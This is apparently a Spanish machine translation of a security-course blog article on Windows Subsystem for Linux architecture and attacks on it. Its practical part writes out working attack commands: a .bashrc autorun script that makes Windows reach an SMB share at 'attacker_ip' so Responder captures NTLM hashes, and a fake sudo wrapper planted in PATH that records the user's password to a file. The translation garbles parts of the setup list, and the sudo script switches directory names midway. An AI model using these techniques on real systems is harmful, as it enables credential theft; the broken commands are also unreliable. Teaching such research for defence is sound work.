Experimentos WSL. Parte 1

¡Hola habr! En octubre, OTUS lanzará un nuevo hilo del curso de seguridad de Linux . La víspera del inicio del curso, compartimos con ustedes un artículo escrito por uno de nuestros profesores, Alexander Kolesnikov.










En 2016, Microsoft presentó la nueva tecnología de WSL ( W indows S ubsystem de Linux), que a largo plazo hizo posible unir a competidores previamente irreconciliables que lucharon por la popularidad entre los usuarios de sistemas operativos comunes y avanzados: Windows y Linux. Esta tecnología hizo posible utilizar herramientas del sistema operativo Linux en un entorno Windows sin tener que iniciar Linux, por ejemplo, utilizando Multi-boot. En Habr puede encontrar una gran cantidad de artículos que describen los beneficios de usar WSL. Sin embargo, desafortunadamente, en el momento en que se creó el artículo, no se encontraron estudios de seguridad de tal simbiosis de sistemas operativos en este recurso. Esta publicación intentará arreglar eso. El artículo hablará sobre las características de las arquitecturas WSL 1 y 2, y analizará varios ejemplos de ataques a sistemas que utilizan estas tecnologías. El artículo se divide en 2 partes.El primero proporcionará los métodos teóricos básicos de los ataques de Linux y Windows. El segundo artículo incluirá la configuración de un entorno de prueba y la reproducción de ataques.



WSL 1: características de la arquitectura



Para una inmersión más precisa en los problemas de seguridad de WSL, es necesario determinar los principales matices asociados con la implementación del subsistema. Una de las principales tareas del usuario resueltas por WSL es proporcionar la capacidad de trabajar a través de los sistemas terminales de Linux en un host con sistema operativo Windows. Además, la compatibilidad propuesta era tan nativa que los archivos ejecutables de Linux (ELF) se podían ejecutar directamente en un sistema Windows. Para lograr estos objetivos, se creó un subsistema especial en Windows 10 que le permite ejecutar aplicaciones de Linux utilizando un conjunto de llamadas de sistema específicas; por lo tanto, se intentó asignar un conjunto de llamadas al sistema de Linux a Windows. Esto se implementó físicamente agregando nuevos controladores y un nuevo formato de proceso. Visualmente, la arquitectura se veía así:







De hecho, la interacción con el sistema operativo Linux se organizó a través de varios módulos nucleares y un tipo especial de proceso: pico. En el diagrama anterior, puede ver que el proceso que se ejecuta en la instancia de Linux en el host debe ser nativo y debe usar los mismos recursos que las aplicaciones normales de Windows. Pero, ¿cómo se puede lograr esto? El proyecto Drawbridge desarrolló conceptos de procesos de Windows que proporcionaban todos los componentes del sistema operativo (según la versión) necesarios para ejecutar una aplicación de sistema operativo diferente.

Tenga en cuenta que la abstracción propuesta hizo posible no centrarse en el sistema operativo (en particular, Windows), en el que se espera que comience el proceso de otro sistema operativo, y ofreció un enfoque general.
Por lo tanto, cualquier aplicación dentro del proceso pico podría ejecutarse sin mirar el kernel de Windows:



  1. Los problemas de compatibilidad y traducción de llamadas al sistema deben ser abordados por proveedores dedicados;
  2. El control de acceso debe realizarse a través del Monitor de seguridad. El monitor reside en el kernel y, por lo tanto, Windows necesitaba una actualización en forma de un nuevo controlador que pudiera actuar como proveedor de dichos procesos. A continuación se muestra esquemáticamente un prototipo del proceso pico:






Debido a que el sistema de archivos de Linux utiliza nombres de archivos y directorios que distinguen entre mayúsculas y minúsculas, se han agregado 2 tipos de sistemas de archivos a Windows para manejar WSL: VolFS y DriveFS. VolFS es una implementación del sistema de archivos de Linux, DriveFS es un sistema de archivos que funciona de acuerdo con las reglas de Windows, pero tiene la capacidad de elegir la distinción entre mayúsculas y minúsculas de los nombres.



WSL 2



WSL 1 tenía una serie de limitaciones que impedían su uso para resolver el rango máximo de tareas: por ejemplo, carecía de la capacidad de ejecutar aplicaciones Linux de 32 bits y no se podían usar controladores de dispositivo. Por lo tanto, en 2020 se lanzó WSL 2, que cambió el enfoque para construir el subsistema. WSL 2 es una máquina virtual optimizada que cumple con las características de consumo de recursos de WSL 1. Ahora, dependiendo de los problemas resueltos por el usuario de Windows, puede seleccionar la versión requerida del subsistema de Linux. Para mitigar posibles vulnerabilidades, WSL 2 se implementó basado en Hyper-V en Windows 10. De esta forma, Windows tiene la capacidad de ejecutar el kernel de Linux de forma aislada. Vale la pena recordar que la versión 1 de WSL se introdujo como una función beta,que se suponía que mostraría el vector de desarrollo de Windows en esta área, por lo que la transición a Hyper-V era inevitable. La arquitectura final se ve así:







En esta versión, los kernels de Windows y Linux tienen sus propios recursos y la intersección existe solo en el sistema de archivos, pero esta intersección no es completa. La interacción entre los sistemas de archivos se realiza mediante un contenedor cliente-servidor que se ejecuta en el protocolo 9P.



Actualmente, Microsoft ofrece la posibilidad de cambiar entre WSL 1 y WSL 2. Ambas versiones están disponibles para su uso.



Seguridad WSL



Por el momento, hay varios artículos que describen algunos enfoques para usar herramientas legítimas de SO para atacar interacciones entre subsistemas. Usaremos sus scripts para verificar la relevancia de los ataques en el momento de escribir este artículo. Lista general de ataques y escenarios:



1. Implementación del sistema de archivos: derechos de acceso, presencia de directorios compartidos / mecanismos de intercambio de datos.



La investigación se llevó a cabo sobre el tema de la violación de las reglas de acceso de Linux FS-> Windows FS, Windows FS-> Linux FS . Los estudios han demostrado la capacidad de modificar un archivo determinado dentro del sistema operativo de destino. También se intentó sustituir, crear duplicados y eliminar parte de los sistemas de archivos.



Guión:



  • A. Ataque desde el sistema operativo Windows: modificación de archivos del directorio / etc de Linux.
  • B. Ataque del sistema operativo Linux - modificación de archivos de los directorios: C:\Windows, C:\Program Files,C:\Users\<User>


2. Implementación de la pila de redes.



La investigación se llevó a cabo sobre ejemplos de ataques del sistema operativo Linux en Windows. Se utilizaron las características de la pila de red, a saber, mecanismos de autenticación en varios recursos.



Guión:



  • Abrir el acceso a un puerto que está ocupado en un sistema Windows
  • Apertura del puerto en ausencia de los derechos adecuados
  • Lanzar un shell inverso usando un archivo elf en el sistema operativo Windows.


3. Ocultación del lanzamiento de procesos de software malicioso debido al subsistema WSL.



La investigación se basó en un hecho simple: los subsistemas de protección no pueden interceptar eventos en otro núcleo, que funciona con un proveedor legítimo del sistema operativo en el caso de WSL 1. En el caso de WSL 2, no hay forma de ver los eventos que ocurren en un núcleo separado dentro de máquina virtual ligera.



Escenario:



1) Iniciar la aplicación para acceso remoto al sistema y ver los eventos registrados.



Experimentos WSL 1: captura de hash (sistema operativo Windows)



Finalmente llegamos a la parte práctica. Primero, debe configurar el entorno para las pruebas. Todos los experimentos se llevarán a cabo en un stand con Windows 10 2004. Se eligió Ubuntu 18.04 como imagen del sistema operativo para WSL. La imagen se eligió al azar y cualquier otra funcionará igual. Comandos para configurar el soporte:



Primero, debe ejecutar powershell.execomo administrador.



Para WSL 1, debe ejecutar los comandos: Después de reiniciar el soporte, puede llamar al comando bash. Si todo funcionó correctamente, verá algo como esto en la consola de Windows: Usaremos la distribución Kali Linux como la máquina del atacante, todas las máquinas deben estar en la misma red local.



  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
  • Ubuntu.appx install —root #
  • , , , root. sam.
  • Restart-Computer #
















  • Supongamos que tenemos acceso sin privilegios a WSL en una máquina con Windows. Intentemos atacar el sistema operativo Linux llamando a un comando desde Linux. Para implementar el ataque, usaremos una técnica de ejecución automática simple: agregaremos nuestro script para su ejecución en el entorno Linux. Para hacer esto, necesita modificar el archivo .bashrc.



    En una máquina con WSL, ejecute:



    	1. bash
    	2.     : cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit


    En una máquina Kali Linux, ejecute:



    1. Responder -I eth0 -rdvw


    En una máquina con Windows, ejecute bash.



    Estamos esperando el resultado en la máquina Kali Linux:







    así, obtuvimos los hashes del usuario de Windows a través del subsistema WSL ejecutando el comando en el sistema Linux.



    Experimentos de WSL 1: recuperación de la contraseña de usuario (sistema operativo Linux)



    Hagamos un experimento más. Durante esta verificación, complementaremos el archivo con .bashrcvarios comandos para obtener la contraseña del usuario para el sistema operativo Linux.



    Comencemos bash e ingresemos los comandos:



    1. mkdir .hidden
    2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
    3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
    4. echo "echo \"\"" >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
    7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit


    Para que el ataque se complete con éxito, Sam necesita invocar sudo en una terminal de Linux. Después de eso, la contraseña de usuario del sistema operativo Linux estará en el archivo pass.txt:







    La implementación de los ataques se presentó solo para información teórica.



    La siguiente parte del artículo describirá la implementación del protocolo 9P, considerará la creación de un escáner para este protocolo y también llevará a cabo un ataque usándolo.



    Lista de literatura usada







    Lee mas






    All Articles